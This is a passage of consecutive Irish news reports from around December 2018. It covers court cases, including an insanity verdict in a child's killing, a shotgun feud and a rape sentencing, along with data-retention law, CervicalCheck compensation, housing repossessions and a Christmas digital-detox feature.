and 46 minutes deliberating today before bringing in a unanimous verdict of not guilty by reason of insanity. After they had delivered their verdict, Ms Justice Eileen Creedon thanked the jury for their care and attention to this very difficult case. The judge exempted them from jury service for the next five years and wished them a happy Christmas. Ms Justice Creedon then made an order committing Ms Al Adheem to go to the Central Mental Hospital today and to be brought back before the court tomorrow morning at midday. The judge also directed the preparation of a psychiatric assessment by an approved medical officer. Evidence in trial During the four-day trial, former garda Diarmaid Kelly, from Sundrive Road Garda Station, gave evidence that he was the driver of an official patrol car on the Crumlin Road on July 10. He said that at 6.52pm he was informed by Dublin Fire Brigade that a child was in cardiac arrest at an apartment in Kimmage. Members of the fire brigade were preparing to leave the scene when Mr Kelly arrived as they had tried to gain access to Ms Al Adheems apartment but there was no response. Mr Kelly and some members of the fire brigade went to the second-floor apartment and made several attempts to knock on the door. Mr Kelly rang Ms Al Adheems mobile number, as she had previously called 999 at 6.40pm saying her baby was dead before hanging up. The person who took the call had phoned her back but she hung up again. The witness said there was a red smudge mark on the left-hand side of her apartment door which he believed was blood. The fire brigade used a ladder to look through the balcony window but the curtains were drawn and the balcony door was locked. Mr Kelly said two firefighters breached Ms Al Adheem's apartment door using a sledgehammer which activated an intruder alarm. The witness testified that Ms Al Adheem was standing in the hall directly in front of him and looked panicked. Ms Al Adheem held her hands up and said no, no, no and backed away into the living area where she sat on a couch, he said. Mr Kelly said he observed a large amount of blood on her hands, her right hip and her clothing. He called for the assistance of paramedics and a doctor who had accompanied them to the scene. The witness said he soon became aware of a degree of commotion coming from the bedroom of the apartment and went to see what the cause was. He observed the body of a young male lying on his back in the middle of a bed in the bedroom. There was a substantial amount of blood at the scene and paramedics had connected an ECG monitor to the child, he said. The witness said he noted several puncture wounds to his torso and legs. A silver stainless steel knife was also on the bed. Paramedics informed Mr Kelly that the child was unresponsive and had no pulse before he returned to Ms Al Adheem in the living area. Mr Kelly said he asked the defendant repeatedly what had happened and she replied: I did it, I stabbed my son and then stabbed myself. Ms Al Adheem was initially reluctant to be examined by staff and held a cushion to her side where her injuries were. Eventually, she allowed a doctor to examine her before she was brought by ambulance to St Jamess Hospital at 7.40pm. Detective Garda Riana OSullivan gave evidence that she attended St Jamess Hospital with Ms Al Adheem as she had three small puncture wounds on her abdomen. Det Gda OSullivan said the defendant told her that she had killed her son and her bed was full of blood. She said the spirit goes to bed with me, at 12 oclock I take the knife and start hitting him and myself, I want to die', Det Gda OSullivan testified. Sergeant Brendan OHalloran told the trial that he arrested Ms Al Adheem at 10.05pm in the psychiatric unit of St Jamess Hospital on July 12 and conveyed her to Crumlin Garda Station where four interviews were conducted with her. When the murder charge was put to her she replied: Yes it was my knife, my hand, it was not me, the power. In her first interview, Ms Al Adheem told gardai: How can I kill my son, the only thing in my life I lost. She told gardai that her son had been playing the ipad on the couch and she was reading before she grabbed a knife and stabbed him the bedroom. The defendant said she did not answer the door to gardai as she thought they were fake people and she knew Omar was already dead. When gardai informed her that a post-mortem had been carried out on her son and the results showed he died of multiple stab wounds, including those to the heart and lungs, she replied: I want to die, I want to die. Prosecution counsel Michael Delaney SC tendered two witnesses during the trial at the request of the defence. Siobhan Murray told Patrick Gageby SC, defending, that she was Ms Al Adheem's neighbour and found her bubbly and a bit hyper as well as beyond a caring mother to her son. She was amazing, she did everything for him morning and night. I never heard her raise her voice once or correct him, remarked Ms Murray. The witness gave evidence that a black cat with no tail hung around their apartment complex and Ms Al Adheem did not want her calling the cat over. Ms Murray agreed with Mr Gageby that the defendant thought the cat was an evil spirit and the cause of a lot of bad things that were happening to her. The witness said that Ms Al Adheem gave her a blow by blow account about a smashed mirror in her apartment on July 7, which she maintained the cat had caused. She thought that when anything was not going right the cat seemed to be there. It was a worrying thing for her, she said. Aingle Ni Cheallaigh told defence counsel Anne Rowland SC that she also lived at Riverside and found Ms Al Adheem so friendly when she first met her in 2010 but could see the defendant's difficulty with her son being demanding. However, the witness said her "best friend" was extremely caring and protective of Omar. Ms Rowland put it to Ms Ni Cheallaigh that her client had devoted herself to her sons care. She was his only care that I knew. The only time she got to put out the bins was when he was asleep," she replied. The witness said she had noticed Ms Al Adheem become paranoid a few months before the incident and told the court that her friend was afraid the spirits of dead people would inhabit the cat and use this cat to hurt her. Ms Ni Cheallaigh further agreed with the defence that the defendant was a kind, good and decent mother. The statement of Deputy State Pathologist, Dr Linda Mulligan was read into the record by the prosecution. Dr Mulligan conducted a post-mortem examination on July 12 and gave the cause of the child's death as multiple stab wounds to his chest, abdomen and trunk as well as to his right thigh. There were 20 stab wounds in total and four of the stab wounds had been fatal as they had penetrated his heart and lungs, severing a vital artery. The remaining stab wounds to his back, abdomen and right thigh contributed to overall blood loss and death. Dr Mulligan added that two incised wounds to his hand were consistent with defensive type injuries. Two psychiatrists from the Central Mental Hospital in Dundrum told the trial that Ms Al Adheem fulfilled the criteria for a special verdict of not guilty by reason of insanity. Dr Paul O'Connell and Dr Lisa McLoughlin were in agreement that the defendant was suffering from paranoid schizophrenia in July 2017. The Kuwaiti woman was unable to appreciate that what she did at the time was morally wrong and would have been unable to refrain from her actions, they said. Dr OConnell told defence counsel Patrick Gageby SC that Ms Al Adheem qualified as a doctor in Iraq in 2003 but it took her nine years to complete a six-year medical degree as she was diagnosed with depression and schizophrenia while she was a medical student in 1996. Ms Al Adheem told the psychiatrist that she had seen an out of this world black cat with no tail from her apartment balcony in Kimmage and as a result prayed on the Quran day and night over three days to ward off its spirit. Dr OConnell said Ms Al Adheem seemed to be deluded that her life was being laid bare on Facebook by a previous suitor who was keeping her under surveillance and had hacked her account. Ms Al Adheem told Dr OConnell that her ex-husband had a limited ability to learn English and he had sensitivities which meant he could not tolerate loud noises including the sound of their baby crying. Her son Omar was born on January 9, 2014 through assisted conception treatment. Their marriage ended when Omar was four months old and Ms Al Adheem applied for a legal separation that year which came into effect in 2016. She told Dr OConnell that developmental problems became apparent in Omar when he was two and a half years old and there were issues finding a creche for him as he was non-verbal, needed one to one attention and his special needs were evident. Ms Al Adheem said she felt very depressed in the months prior to the event because of her child's autism and because she said schools were refusing to take her son. On March 14, 2017 she felt suicidal and attended her GP with suicidal thoughts and was admitted to the psychiatry department in St Jamess Hospital for five days, said Dr OConnell. According to notes generated from St Jamess Hospital, Ms Al Adheem was not presenting with any psychotic phenomena or psychotic ideation when she was discharged from St Jamess Hospital. Ms Al Adheem said a power took over her on the day of the killing which made her stab herself and her son and she felt her wrists being twisted, recounted Dr OConnell. The second forensic psychiatrist, Dr Lisa McLoughlin told Mr Delaney that the defendant retains the delusional belief about the black cat, although she does not currently see it, and there has been a substantial deterioration in her level of functioning. A dog handler who used a live piglet as bait to train greyhounds has failed in a High Court challenge to his exclusion from racetracks or coursing events. Christopher Connolly (25) sought to quash a decision by Bord na gCon to exclude him from events. The Irish Coursing Club (ICC), which regulates coursing, consented to the exclusion order. While living in Australia four years ago, he was the subject of a ban in the state of Victoria after he was found guilty of using a piglet as live bait at Tooradin Trial Track. Ten people involved in this activity were also handed bans. Mr Connolly, of Farney's Cross, Cappawhite, Co Tipperary, received a lifetime ban. This was reduced on appeal in 2015 to five years with another five suspended on condition he is of good behaviour. The ban is due to expire in 2020. Mr Connolly returned to Ireland in 2015 and in 2016 he applied to Bord na gCon for a "Kennelhand Authorisation", which would allow him to work in the industry he has been involved with for many years. He was refused and he appealed to a Bord na gCon control committee which also found he was "not a fit and proper person to be certified". The appeal committee said there was uncontroverted evidence he had pleaded guilty to three offences in Australia "which were barbaric in nature" and there should be no tolerance of such behaviour. The committee accepted Mr Connolly was involved in the Australian incident to a lesser extent than other participants who were treated more severely than him by the Australian regulators. The committee was not in a position to give a time as to when it might be appropriate to revisit Mr Connolly's application. However, noting the five-year ban with five more suspended in Australia, it suggested he "consider his options thereafter". He then brought High Court proceedings against the board and the ICC, saying the decision was flawed and should be set aside on grounds including that it is unreasonable and irrational. But Ms Justice Teresa Pilkington dismissed his challenge, saying while the decision of the Australian authorities was not binding here, the evidence presented to them was something which Bord na gCon could have regard to when making its decision. He had been afforded proper procedures and due process in accordance with the 1958 Greyhound Industry Act, she said. The Dublin man who abducted and repeatedly raped an 18-year-old Spanish student at a derelict site in the city has asked to be transferred to the Central Mental Hospital. Eoin Berkley (25) of Hampton Wood Way, Finglas, admitted raping the girl at the Irish Glass Bottle Company site, Pigeon House Road, on three occasions between July 15 and 16, 2017. Last month he was jailed for 14 years for what the judge described as most horrific crimes that were particularly degrading for the young woman. Mr Justice White said the woman was violated in a horrendous manner and there was a collective sense of shame that a visitor to Ireland had suffered in such a vile way. As part of the sentence, Mr Justice Michael White imposed three years post-release supervision. Today, Berkley appeared at the Central Criminal Court so Mr Justice White could outline the terms of his post-release conditions. He ordered that Berkley be assessed for the Safer Lives programme or similar, that he follow the directions of his mental health providers and attend all appointments with The Probation Service. He also directed that Berkley complete a victim awareness programme and notify authorities of any change in his address post release. Berkley then asked the judge if he could be transferred to the Central Mental Hospital. Mr Justice White told Berkley that places in the CMH are at a premium and that the prison services would be carefully monitoring his mental health. He informed Berkley that if he didn't comply with the post-release conditions, he could be prosecuted in the District Court and face a maximum 12 month sentence. Mr Justice White told John Fitzgerald SC, defending, that it would help Berkley immensely if he engaged with The Probation Service officer while in prison. The judge accepted that Berkley was not in a great mental condition to speak to a probation officer, but told Mr Fitzgerald that it would be of great assistance to him to do so. At the sentence hearing, a doctor's report handed into court found Berkley had a significantly compromised development and suffered from a severe personality disorder. The court heard that while in custody on these matters, he used his own blood to write the words I'm so sorry on the walls of a prison cell. NEW DELHI (PTI): The Navy chiefs of India and Thailand discussed a range of bilateral issues on Wednesday, the Indian Navy said. The two countries also signed an agreement on white shipping arrangement. The Commander-in-Chief of the Royal Thai Navy, Admiral Luechai Ruddit, called on Indian Navy Chief Admiral Sunil Lanba at Naval Headquarters here, the Navy said. "During the meeting a host of Bilateral issues were discussed and a Technical Agreement on White Shipping Information Exchange was also signed," the Navy posted on its Twitter handle. Ruddit also met Defence Minister Nirmala Sitharaman. India and Thailand share a robust defence ties. A farmer has been jailed for a year for shooting a fellow farmer and killing the man's dog in a long-running feud over a right of way. Ted O'Donoghue (74) shot and injured John Hayes (66) on lands at Ballycasey, Kildimo, Co Limerick, on June 16, 2017. The pensioner, who is in poor health and appeared in court with two walking aids, will spend Christmas with his family as his sentence was deferred to January 7. Limerick Circuit Court heard that a spray of pellets fired from O'Donoghue's shotgun had travelled through Mr Hayes's tractor, injuring him in the shoulder and killing his beloved sheepdog, Lassie. O'Donoghue, of Kilmoreen, Kildimo, admitted firing at Mr Hayes from the licensed gun. He pleaded guilty to all three charges against him, including one count of a reckless discharge of a firearm, one count of assault causing harm to Mr Hayes, and one count of animal cruelty. Expand Close Ted ODonoghue shot John Hayes in right-of-way row. Photo: Press 22 / Facebook Twitter Email Whatsapp Ted ODonoghue shot John Hayes in right-of-way row. Photo: Press 22 The court heard that at around 10.30am on the day of the shooting, Mr Hayes was about to open an access gate at the right of way, when he was met by O'Donoghue, who was holding the shotgun. O'Donoghue said that he told Mr Hayes: "You are never coming in here again", and fired at him. Following his arrest, O'Donoghue told gardai he believed the passageway was being destroyed by tractors travelling up and down it. "They have it tore asunder with tractors... but I'll stop them," he said. Expand Close Dead: Lassie the dog was killed when Ted ODonoghue opened fire / Facebook Twitter Email Whatsapp Dead: Lassie the dog was killed when Ted ODonoghue opened fire He told gardai he shot Mr Hayes after he had observed him driving his tractor towards the right of way. He said that, having travelled ahead of Mr Hayes in his own van, he got out of the vehicle and shot him. "He wanted to open the gate. I blazed at him. I fired a shot at him, and that's that," he told gardai. "I shot at him... He was outside the gate, but it's my land. "He shouldn't have been there. He was trespassing." When asked by gardai if he had deliberately shot Mr Hayes, he replied: "Not exactly. "I don't know. I don't think so." Mr Hayes wrote in a victim impact statement that, following the shooting, he became "withdrawn socially, fearful, and stressed". "I was sure he was going to kill me. He had an angry look about him," he said. "I heard Lass scream. I was terrified," he added. Garda Jason Mitchell told an earlier hearing at Limerick District Court that the shooting was part of "a long-running feud over a right of way". A neighbour told gardai there had been tensions between O'Donoghue and other farmers about the right of way for "40 years". Judge Tom O'Donnell sentenced O'Donoghue to two-and-a-half years in prison with the final 18 months suspended. A man accused of the sexual assault of a girl has been allowed to return to his local area over Christmas. Gardai had objected to the man's bail conditions being varied for fear he would try to contact the alleged victim. The accused, who cannot be named for legal reasons, lives in a remote part of Co Donegal. He had been ordered to live in Letterkenny in recent months until his trial and was ordered not to live near the alleged victim or have any contact with her. However, he applied to have his bail conditions varied so he can stay with his family from Christmas Eve until St Stephen's Day. Gardai told the court they were objecting to the man's application on a number of grounds. A Garda sergeant said he feared the man would try to contact the alleged victim if allowed to return home. He said there was an allegation the accused tried to contact the alleged victim to ask her to persuade her mother to drop the case against him. He is also alleged to have contacted her by Snapchat. "I would have a fear that he would contact her and put her under pressure [to] withdraw the allegations," he added. A barrister for the accused made submissions that everybody in the locality knew the man, and it would not be in his interest to make contact. Having considered the matter, Judge John Aylmer said he was "going to take a chance on him for a very short period of time". He set down a number of conditions on which the man could return to his local area for the Christmas holiday. The State has yet to announce if it will appeal a High Court ruling in favour of Graham Dwyer which forms part of his bid to overturn his conviction for the murder of childcare worker Elaine O'Hara. Earlier this month Mr Justice Tony O'Connor found the Cork-born architect is entitled to certainly limited declarations concerning provisions of Ireland's data retention laws. The judge found that sections of Ireland's retention laws concerning information generated by telephones contravene both EU law and findings of the European Court of Human Rights. Ireland's data retention laws provide for an indiscriminate retention regime, the Judge said. As well as being an important ruling in respect to Dwyer's appeal the State had argued the action also had major implications in relation to the authorities' ability to retain, access and use information generated by mobile phones in the investigation of serious criminal activities. The case was briefly mentioned before the High Court this morning when Mr Justice O'Connor was told the State wishes to make submissions on the court proposed final orders and declarations. Brian Murray SC, appearing with Sean Guerin SC and David Fennelly Bl for the State said his client's submissions will be in relation to sections of data retention laws and their compatibility with both EU Law and the European Convention on Human Rights. Counsel said his side's submissions, and any reply by Dwyer's legal team would take a few hours to hear. Discussions on this issue had taken place with Dwyer's lawyers, counsel said. Counsel said his clients were also considering seeking a stay on the final orders in the event of an appeal. Counsel also told the court that since the judgement was delivered requests by the authorities for access to retained telephone data were still being made in regards to issues where a person's life is at risk, or in matters of state security. Agreeing to such requests was in accordance with the court's judgement, counsel said. Counsel said that requests for telephone data in relation to the investigation, prevention and detection of crime were not being acceded to. However a request for access to retained data in one criminal investigation had been made to a district court judge under different legislation to that which had been challenged by Dwyer, counsel said. Ronan Kennedy Bl for Dwyer said his side would consider what the stat's submissions and would reply in due course. Mr Justice O'Connor agreed to adjourn the matter to a date in January. Dwyer, who denies killing Ms O'Hara, claimed that data gathered from his phone, under the 2011 Communications (Retention of Data) Act, should not have been used at his 2015 trial before the Central Criminal Court. The data, which was generated by Dwyer's work phone, placed the phone at specific places at particular times and dates. That data was used to link Dwyer to another mobile phone the prosecution told the jury during his high profile trial that he acquired and used to contact Ms O'Hara, whom he had an affair with. The use of the data, Dwyer claimed, was unconstitutional and breached his rights under the EU Charter and the European Convention on Human Rights, including his right to privacy. Dwyer's lawyers argued the Act was introduced to give effect to a 2006 EU directive concerning the retention and use of data. The European Court of Justice (ECJ) found in 2014 that the directive was invalid and that position was further strengthened in subsequent rulings by that court in 2016. He claimed the 2011 Act suffered from the same flaws identified by the ECJ. The state opposed his arguments and said Dwyer's application was misconceived and should be dismissed. It argued the laws that allow the authorities to access and utilise retained data, are extremely important in the detection, prevention and investigation of serious crime. in what was a detailed and lengthy judgement Mr Justice O'Connor said he was satisfied that the 2011 Act provides for an indiscriminate retention regime. The ECJ, the judge said, had found that such regimes are prohibited under Articles 7 and 8 of the European Charter, and the court said it is prepared to make declarations that sections of the 2011 Act are inconsistent with EU law. He said the ECJ had found that the fighting of serious crimes cannot justify the general and indiscriminate retention regime. The Judge added that practices of how Garda apply for and obtain mobile phone data were not enough to satisfy the decisions of the European Courts in regards to access. The sections of the 2011 Act concerning access to retained data contravene EU law and the European Court of Human Rights because there was no prior review by a court of administrative authority for access to telephony data. Second-level teacher unions have provoked fury after issuing advice to members to refuse to implement individual education plans for pupils with special needs. The shock move, which will affect tens of thousands of students in post-primary schools, has caused outrage in AsIAm, the advocacy body for people with autism. AsIAm chief executive Adam Harris described it as "grossly unethical" and called on unions to think again - or for teachers to ignore the advice. The unions claim there is no legal obligation on teachers to do the work and that schools don't have the resources - although most have been using some form of tailored education planning for such pupils for many years. About one in four of the 360,000 post-primary pupils have some type of special educational need (SEN). Mr Harris said "for a teachers' trade union to suggest discrimination in the classroom against students with disabilities is truly shocking" and said he would not allow them be used as "a bargaining chip". Planning He was reacting to advice issued by the Association of Secondary Teachers Ireland (ASTI) "not to implement Individual Education plans (IEPs) or equivalents". He said individual planning for children with SEN can make a difference to whether the child attends school. The Teachers' Union of Ireland (TUI) advised its members along the same lines. The hard line move comes as Department of Education inspectors prepare to roll out a new model of inspection in special needs education in January. It is an opportunity for the unions to maximise pressure on the Government over issues around workload and school resources - but at the expense of the most vulnerable pupils. Provision for IEPs was made in 2004 legislation, although the part giving effect to the IEPs has never been formally commenced. A department spokesperson said it was writing to both unions to stress planning for the education of a child with special needs is absolutely essential. Pleased to meet you: Taoiseach Leo Varadkar and Vice Admiral Mark Mellett DSM, Chief of Staff of the Defence Forces, meet students during their visit to Ringsend School, Dublin, as they launched the Global Schools programme yesterday. Photo: Mark Condren Taoiseach Leo Varadkar's visit to Ringsend College in Dublin yesterday evidently brought back memories from his own school days. He was on hand to launch the new Global Schools programme, which will see Irish diplomats and peacekeepers visiting secondary schools around the country to talk to students about their work overseas. "What year are you all in? Do you have exams now? How are they going?" Mr Varadkar asked the teenagers gathered to see him speak, as they reported they were going well. "OK, I remember doing Christmas exams," he said. But given he made it into medical school, he probably didn't have to worry too much about his results in the Christmas report. In another aside, he asked the students if they recognised Housing Minister Eoghan Murphy, who was also present. "He's your local TD," he said, clearly enjoying the moment. "Do you know the names of any of the other TDs in the area? Somebody must know," he said, scanning the floor, showing he may have taken to a bit of teaching too. As part of the new programme, schools will be presented with a UN flag and a copy of the preamble of the UN charter. Mr Varadkar said the Ringsend school was the first to be presented with the flag under the initiative, and it was about explaining to all of the public "but particularly our young people, how Ireland sees itself in the world". He said that "a lot of people around the world now are looking inwards. "You see a lot of that in eastern Europe, you see it in America where people are looking inwards". Mr Varadkar added: "We see Ireland very differently. We see ourselves as a country that wants to be at the heart of the European Union. "We have been involved in the European Union for nearly 40 years, and that means that we can travel anywhere around Europe, you don't need a visa, you don't need a work permit." Principal Pauline Queally invited questions from the students, and the Taoiseach dealt with issues such as Brexit and why it's important to have embassies. Students Ciaran Darcy and Abbie Gannon were then presented with the UN flag. The Global Schools programme is one element of Global Ireland, the Government's policy which is designed to double Ireland's impact in the world by 2025. "No nation can hope to meet the challenges facing the globe on its own or without co-operating with other countries," he said. "Migration, climate change, armed conflict and hunger do not carry passports or recognise international borders. "Through the Global Ireland initiative, we are expanding our presence internationally and increasing our investment and development assistance for some of the world's poorest countries." A compensation tribunal that is to be set up to hear claims by women at the centre of the CervicalCheck scandal will be open to the same adversarial process as a court case, it has emerged. Women who developed cervical cancer after getting wrong test results will still have to prove their case. However, the tribunal will be in private and defendants will not be subject to the same public scrutiny. The tribunal, which is not expected to be up and running until well into next year and must be established under new legislation, will be chaired by Judge Mary Irvine. Some 221 women who developed cervical cancer received wrong smear test results after undergoing screening with CervicalCheck. It was not until the Vicky Phelan court case in April that the majority found out CervicalCheck did an audit of their test results after being notified of their cancer. However, the audits were not passed to a majority of women. Twenty of the women have since died. It will still be up to the women to prove the wrong result was due to negligence and not to the limitations of science. Health Minister Simon Harris said he may also set up a non-statutory ex-gratia scheme to compensate the women who did not receive their audits as per the open disclosure policy of the HSE. It is unclear what level of compensation would be involved. The compensation tribunal chair, Judge Irvine, has been a judge of the court of appeal for four years. The proposed tribunal was put forward in a report by Judge Charles Meenan, who was asked by the Government to come up with an alternative to going to court. Women will still have to prove their case, but the proceedings will be held in private. Voluntary The minister said that "once established, cases will be dealt with in a timely manner". "The tribunal will differ from the current court process in that it will be voluntary for all parties," said Mr Harris. Women can also appeal their case to the High Court and this may happen in several instances. The highest award of 7.5m made in the courts so far was to the late Emma Mhic Mhathuna, the mother of five who died from cervical cancer last autumn. Her tests were negligently read. Meanwhile, scores of legal claims by women against CervicalCheck have now been lodged and some will need to be fast-tracked next year because of their failing health. Women who get a "false positive" result following a mammogram are twice as likely to develop breast cancer later in life than those who get a negative result, a study suggests. Scientists analysed data from more than a million women in Denmark, Norway and Spain screened for breast cancer between 1991 and 2010. Some 113,634 women received a false positive result - when apparent abnormalities are found not to be malignant - with the largest proportion occurring in women aged 50-54. The research, led by Hospital del Mar Medical Research Institute in Barcelona, found those who received one false positive were two times as likely to develop breast cancer compared to those who received a negative result. They remained at an elevated risk for over a decade. Charity Breast Cancer Now chief executive Delyth Morgan said: "This suggests a 'false positive' result may be able to act as a marker for women who could benefit from more frequent screening." Dublin mum Lea Hearst, who is being treated for breast cancer, has spoken of her distress after a debt collection agency began writing and phoning looking for payment of her hospital bills. The Irish Cancer Society says patients are being threatened with legal action. Photo: Gerry Mooney Debt collection agencies are threatening cancer patients with legal action if they don't pay debts related to their treatment in hospital, the Irish Cancer Society (ICS) says. Patients - who don't have a medical card or health insurance - are facing fees of up to 800 a year for necessary treatments such as chemotherapy and radiotherapy. If the charges are not paid within 47 days, HSE policy is to pass them on to a debt collection agency. One of those patients is Dublin mum Lea Hearst, who is undergoing treatment for breast cancer. "I was shocked when I started getting calls and letters on a regular basis from a debt collection agency. I found this extremely upsetting in the middle of fighting my cancer. "I was very fearful about what it might mean for me if I didn't deal directly with debt collectors. To be charged for basic treatment was hard to take in the first place, but to have that charge sent to a debt collector added a great deal of stress to a very difficult situation." The Irish Cancer Society is calling on the HSE to immediately stop referring cancer patients' debt to collection agencies. Expand Close Lea with her son Ethan. Photo: Gerry Mooney / Facebook Twitter Email Whatsapp Lea with her son Ethan. Photo: Gerry Mooney Chief executive Averil Power said letters threatening legal action are being sent to patients. "Coping with cancer can be the most emotionally, physically and financially challenging time of a person's life," Ms Power said. "The last thing they need is the added stress and fear of being hounded by debt collectors, sometimes for as little as 80. The HSE must stop this cruel and unnecessary practice immediately." Where the charges are not paid within 47 days, HSE policy is that they may be pursued by a debt collection agency. The ICS is today publishing advice for patients on how best to deal with the charges. They can also get individual advice and support by calling the society's freephone nurseline on 1800 200 700 or visiting one of its Daffodil Centres in 13 hospitals nationwide. Ms Power said: "We have campaigned throughout the year to abolish unfair inpatient charges, and will be calling again on the Minister for Health to do so in Budget 2020. "In the meantime, however, the HSE must stop the disgraceful practice of cancer patients being chased by debt collectors." THE new national maternity hospital will be owned by the State and care delivered free of religious ethos, Health Minister Simon Harris said today. Agreement in principle had been reached for St Vincents Healthcare Group to provide the State with a 99 year lease of the land on which the New Maternity Hospital (NMH) will be built. The hospital will be built at the campus of St Vincents Hospital. He said the deal will allow the State to retain ownership of the new facility, to be operated by the National Maternity Hospital DAC. A suite of legal documents has been prepared to give effect to this agreement and will be finalised in the New Year, in conjunction with both the NMH and St Vincents Healthcare Group. The documents fulfil two important functions; firstly, they will protect the States significant financial investment in the new hospital, and secondly, they further confirm that the NMH will retain its clinical and operational independence. The Minister said that the overall legal framework will, unequivocally, copper-fasten the principle that patient care in the new hospital will be delivered without religious, ethnic or other distinction, and that any relevant medical procedure, which is in accordance with the laws of the land, will be carried out at the new hospital. He was speaking after it was confirmed the Cabinet has given the go ahead to the project to redevelop the hospital on the campus of St Vincents University Hospital in Dublin. The contract for the start of the pharmacy and car park contract which will be the first phase has got the green light. He said that St Vincents Healthcare Group has confirmed the process by which the Religious Sisters of Charity will transfer their shareholding and withdraw from the St Vincents Healthcare Group. He acknowledged the valuable work of the Sisters in the provision of health services at St Vincents down through the years. Agreement has been reached to include a public interest representative on the board overseeing the hospital. The Government is to introduce legislation that would make it more difficult for courts to grant possession orders for family homes. The move is being taken even though new figures reveal the number of family homes being repossessed has fallen. It comes amid considerable controversy over the eviction of a farmer and his siblings from a property in Co Roscommon last week and a subsequent vigilante attack on the security workers who carried out the eviction. Justice Minister Charlie Flanagan also announced his officials were reviewing the law with a view to bringing private security firms who execute court orders under the remit of the Private Security Authority (PSA). They are currently unregulated. Speaking in the Dail, Mr Flanagan said a new Land and Conveyancing Law Reform (Amendment) Bill would broaden the range of matters a court must take into account when deciding whether to grant a possession order to a lending institution in a respect of a borrower's principal private residence. When considering such applications, courts will be required to take into account a number of specific factors. These will include whether such an order would be proportionate; the circumstances of the borrower and his or her dependents; and the conduct of the parties, including the conduct of the lender towards the borrower in any attempt to find a resolution on arrears. The plans come as new statistics indicate the improving economy is helping to cut the number of mortgages in arrears. The Central Bank figures show 191 homes were repossessed in July to September, down from 292 in April to June. The vast bulk of the repossessions were carried out by banks, the figures show. Of the 191 homes taken in July to September, just 30 were done by "non-bank entities" - and not all of those are vulture funds. It is now expected the total number of repossessions in 2018 will be well behind last year. A Central Bank spokesman said 1,417 family homes were repossessed last year. For the first nine months of this year, the number was 847. The data showed the number of mortgages in arrears has continued to fall. At the end of September, 64,510 family home mortgages were in arrears, down 2.9pc compared to the end of June. Finance Minister Paschal Donohoe said the figures showed progress was being made in dealing with "a tremendously difficult issue for families across the country". However, he admitted that more progress needs to be made, "especially at a time when the economy is stable". David Hall, chief executive of the Irish Mortgage Holders' Organisation, said that the fall in repossessions may have been down to a recent legal case which cast doubt over the validity of some instances. "Many of the funds haven't been proactive in the last period of time because of that", Mr Hall said. He added that he had "no doubt" that repossessions would increase in future. The Central Bank figures also showed that lenders currently hold just over 3,200 properties that have been repossessed. That was a decline on the previous quarter, but the figure has attracted criticism in the context of the ongoing housing crisis. The law requiring courts to consider certain factors before granting possession orders for family homes looks set to be followed by legislation on the regulation of security staff executing such orders. Although most security workers are regulated by the PSA and obliged by law to wear an identification badge, this is not the case with operators who execute court orders. Mr Flanagan said he was aware of "some disquiet" about private security operators carrying out such work. "I expect a report [on this issue] from an intergovernmental group, chaired by a senior official from my own department, in January 2019 and I will then make all the necessary and appropriate steps in the light of the report," he said. Emilia Mullan (5) places a candle at a vigil in Balbriggan to show support to the mother of Baby Belle, whose stillborn body was found buried on Bells beach at Balbriggan, Co Dublin, last Saturday. Photo: Gerry Mooney More than a hundred people have attended a candlelit vigil for a stillborn baby girl found on a beach in north Dublin last weekend. The infant - named Belle by gardai - was remembered by residents in the north Co Dublin town of Balbriggan last night. Her remains were found on the nearby Bell's Beach on Saturday. Those attending the vigil urged Belle's mother to come forward and get the help and medical attention she may need. One placard read: "Christmas message, be not afraid to seek medical help. We love you." Those attending insisted there would be no judgment, and their main concern was the welfare of the mother. Local resident Linda Kavanagh said the community was still in shock at the events, but that their only concern was for Belle's mother. "I think the community felt like they had to come out and show that support, everybody was at home talking about it, feeling for her and her family and the baby," she said. Expand Close Show of support: Residents attend the vigil for stillborn baby girl Belle, found on Bells Beach near Balbriggan, Co Dublin. Photo: Gerry Mooney / Facebook Twitter Email Whatsapp Show of support: Residents attend the vigil for stillborn baby girl Belle, found on Bells Beach near Balbriggan, Co Dublin. Photo: Gerry Mooney "But also for the woman that found her on the beach, and to show her she wasn't alone. That was a huge tragedy for her and shocking for her to find." Gardai have made multiple appeals for the mother to come forward and said they would not be treating the incident as a criminal act. Results from a post-mortem on the baby girl's body revealed she was stillborn at full-term. At the vigil, residents sang Christmas carols 'Away in a Manger' and 'Silent Night' against the backdrop of a large outdoor Christmas tree. Tell your family about your digital detox so the phones are put away for dinner time at least Elton John wants us all to put down our phones this Christmas. In an interview with the Radio Times, he revealed that the only screen he'll be switching on is the television and only then to watch the Queen's speech, saying he and his family prefer to "enjoy our presents, play games and listen to carols" on Christmas Day. In fact, he said his biggest hope for 2019 is that we all spend less time on our phones. "I love the benefits that technology has given us," he explained. "But nothing beats a lively conversation and huge laughs." Expand Close It's ok to check maps for directions / Facebook Twitter Email Whatsapp It's ok to check maps for directions And it's a sentiment more of us are getting on board with. But how likely is it that we can go phone-free this Christmas? Even if you manage to curb your social media habit, there'll still be directions to look up, photos to take and countless other apps to be distracted by. But if you want to stem the tide of screen addiction in both you and your children, then now might actually be a good time to start. Tanya Goodin, a digital detox expert and author of two books on the subject, says being online at Christmas can exacerbate the stress many of us already feel at this time of year. "Not only do we have the stress of dealing with relatives we haven't seen all year," she says, "we're also comparing our imperfect Christmas to everyone else's perfect Christmas. No one is posting on social media, 'oh I'm having a terrible time'. It's just another stick to beat ourselves with." Goodin says that as well as a drop in productivity, screen time is having a damaging effect on our relationships as well. "Children are complaining about their parents, parents are complaining about their children and partners are complaining about each other," she says. "So our relationships are a real casualty of our over-obsession with what's going on in the digital world." And Toni Jones, the founder of Shelf Help, a book club and community dedicated to self help and self development, agrees. "Christmas is a time when you get together with people you haven't seen for a while," she says. "So make the most of reconnecting in real life rather than connecting to strangers, or people you only vaguely know, online." But all is not lost if you're keen to have an Elton John-style Christmas. Here's our experts' tips and practical ideas for ditching digital and reconnecting in the real world. 1. Focus on what you're gaining Goodin suggests looking at the idea of putting down your phone from a different angle. "Focus on what you'd be gaining not what you'd be losing," she says. "I would start by getting everyone to say what they most want to get out of Christmas. It may be that everyone wants to play games or to go on a walk or there's a particular film everyone wants to watch. But whatever it is, focus on what you want to get out of Christmas and work backwards from that." 2. Untether yourself "Untethering yourself from your tech is one of my key tips," says Goodin. "It's a lot easier if we physically put them down. You mustn't be able to see it, hear it or touch it. Your device loses its addictive power when it can't hook you back in by any of those senses and it's a really good way of cutting down on screen time. I often say it's like trying to eat healthily and having to walk around with a bar of chocolate in your hand the whole time. It's impossible to do." 3. Distinguish between digital junk food and healthy uses of technology Goodin doesn't suggest going cold (Christmas) turkey, but rather we should be more mindful about how we're using our devices. Could you, for example, de-install all your social media apps but agree to keep 